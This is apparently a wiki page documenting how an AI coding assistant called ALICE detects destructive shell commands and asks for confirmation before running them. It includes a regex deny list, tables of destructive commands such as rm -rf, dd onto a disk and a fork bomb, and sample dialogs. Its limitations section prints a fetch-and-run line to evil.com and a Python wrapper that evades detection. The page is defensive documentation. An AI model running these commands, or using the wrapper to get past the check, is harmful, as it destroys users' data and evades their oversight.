-
Notifications
You must be signed in to change notification settings - Fork 0
Dangerous Commands
Understanding ALICE's safety features for executing system commands.
The executeCommand tool can perform powerful system operations, but with power comes risk. ALICE includes built-in safety mechanisms to prevent accidental data loss or system damage.
ALICE analyzes commands before execution using pattern matching:
const DANGEROUS_PATTERNS = [
// File deletion
/rm\s+-rf/i, // Unix: rm -rf
/del\s+\/[sf]/i, // Windows: del /s /f
// Disk operations
/format\s+[a-z]:/i, // Windows: format C:
/mkfs/i, // Unix: mkfs
/dd\s+if=/i, // Unix: dd if=/dev/zero
// System power
/shutdown/i, // Shutdown
/reboot/i, // Reboot
/halt/i, // Halt
// Dangerous scripts
/:(){:|:&};:/, // Fork bomb
];If a command matches any pattern, it's flagged as dangerous.
When a dangerous command is detected:
┌─────────────────────────────────────┐
│ ⚠️ Dangerous Command Warning │
│ │
│ Command: rm -rf node_modules │
│ │
│ Risk: This command may cause │
│ irreversible data loss │
│ │
│ Confirm execution? (y/N): _ │
│ │
│ Tip: You can disable this warning │
│ by setting "dangerous_cmd": │
│ false in ~/.alice/settings.jsonc│
└─────────────────────────────────────┘
-
Type
y+ Enter - Execute the command -
Type
n+ Enter or Press ESC - Cancel execution - Default: Cancel (if you just press Enter)
Control confirmation behavior in ~/.alice/settings.jsonc:
Behavior:
- ✅ Shows confirmation dialog for dangerous commands
- ✅ Executes safe commands immediately
- ✅ Recommended for all users
{
"dangerous_cmd": false
}Behavior:
⚠️ Executes ALL commands without asking⚠️ No safety net for destructive operations⚠️ Only for experienced users who know what they're doing
Commands that can delete files recursively:
| Platform | Command | What It Does |
|---|---|---|
| Unix | rm -rf <path> |
Delete recursively, force |
| Windows | del /s /f <path> |
Delete recursively, force |
| Windows | rmdir /s /q <path> |
Remove directory recursively |
| Cross | rm -rf / |
Example Conversation:
> You: Delete the build folder
[🔧 executeCommand] Preparing: rm -rf build/
⚠️ Dangerous Command Warning
Command: rm -rf build/
Confirm? (y/N): y
[🔧 Executing...
[✅ Command completed
Alice: build/ has been deleted.Commands that can format or modify disks:
| Platform | Command | What It Does |
|---|---|---|
| Windows | format C: |
Format entire disk |
| Unix | mkfs.ext4 /dev/sda |
Create filesystem (destroys data) |
| Unix | dd if=/dev/zero of=/dev/sda |
Wipe disk |
Example:
> You: Format the USB drive
[🔧 executeCommand] Preparing: format D:
⚠️ DANGER: This will erase ALL data on D:
Confirm? (y/N): n
Alice: Command cancelled by user.Commands that shut down or restart the system:
| Platform | Command | What It Does |
|---|---|---|
| All | shutdown |
Shut down system |
| All | reboot |
Restart system |
| Unix | halt |
Stop system immediately |
| Windows | shutdown /s /t 0 |
Immediate shutdown |
Example:
> You: Restart the computer
[🔧 executeCommand] Preparing: shutdown /r /t 0
⚠️ This will restart your computer immediately
Confirm? (y/N): y
[🔧 Executing...
Alice: Restarting now...Malicious or harmful code patterns:
| Type | Example | What It Does |
|---|---|---|
| Fork bomb | :(){:|:&};: |
Crashes system by spawning processes |
| Infinite loop | while true; do :; done |
Consumes resources |
These are always flagged and require confirmation.
Instead of dangerous commands, consider safer alternatives:
❌ Dangerous: rm -rf node_modules
✅ Safe: Use package manager to clean: npm clean-install
❌ Dangerous: del /s /f C:\Windows
✅ Safe: Use Disk Cleanup or Settings app
❌ Dangerous: format D:
✅ Safe: Use Disk Management GUI
❌ Dangerous: dd if=/dev/zero of=/dev/sda
✅ Safe: Use shred or specialized tools
❌ Dangerous: shutdown -h now
✅ Safe: shutdown -h +5 (5 minute delay to save work)
ALICE detects dangerous commands on all platforms:
Remove-Item -Recurse -Force C:\data # ⚠️ Dangerous
del /s /f C:\data # ⚠️ Dangerous
format D: # ⚠️ Dangerousrm -rf ~/Documents # ⚠️ Dangerous
sudo mkfs.ext4 /dev/sda # ⚠️ Dangerous
dd if=/dev/zero of=/dev/disk2 # ⚠️ Dangerous> You: Remove all log files recursively
Alice: I'll delete all .log files in this directory and subdirectories.
[🔧 executeCommand] Preparing: find . -name "*.log" -delete
⚠️ Dangerous Command Warning
Command: find . -name "*.log" -delete
This will permanently delete files.
Confirm? (y/N): y
[🔧 Executing...
[✅ Command completed
Removed 47 log files
Alice: All log files have been deleted.> You: Delete everything in this folder
Alice: I can delete all contents with this command.
[🔧 executeCommand] Preparing: rm -rf ./*
⚠️ DANGER: This will delete ALL files in current directory
Confirm? (y/N): n
❌ Command cancelled by user
Alice: Command cancelled. No files were deleted.> You: List all files
[🔧 executeCommand] ls -la
[✅ Command completed
Alice: Here are all files in the current directory:
total 48
drwxr-xr-x 10 user staff 320 Feb 10 22:15 .
...-
Keep
dangerous_cmd: trueunless you're an expert - Read the warning carefully before confirming
- Double-check the command in the confirmation dialog
- Use safe alternatives when possible
- Test on non-critical data first
- Don't blindly confirm dangerous commands
- Don't disable confirmations without understanding risks
- Don't run commands you don't understand
- Don't execute on production systems without backups
- Don't trust AI blindly - always verify
Some dangerous operations may not be detected:
# These might NOT trigger warnings (but are still dangerous):
python -c "import os; os.system('rm -rf /')" # Code execution
bash script.sh # Unknown script contents
wget http://evil.com/malware.sh | bash # Remote scriptAlways exercise caution when:
- Running scripts from unknown sources
- Executing code in programming languages
- Using piped commands
Sometimes safe commands are flagged:
# Safe: Creating a test directory named "rm-rf"
mkdir rm-rf # ⚠️ Might trigger warningIn these cases, you can safely confirm.
A: Not yet. Currently it's all-or-nothing. Whitelist feature is planned.
A: Press Ctrl+C immediately to try to cancel. Create backups regularly.
A: No. The detection is pattern-based. Always review commands carefully.
A: Pattern matching has limitations. Confirm if you're sure it's safe.
A: Only if you fully understand every command ALICE might execute.
- executeCommand Tool - Full tool documentation
- Configuration Guide - Configure dangerous_cmd setting
- Tool System - How tools work
- FAQ - More common questions
Remember: Safety features are there to protect you. Don't disable them unless you know exactly what you're doing! 🛡️
{ "dangerous_cmd": true }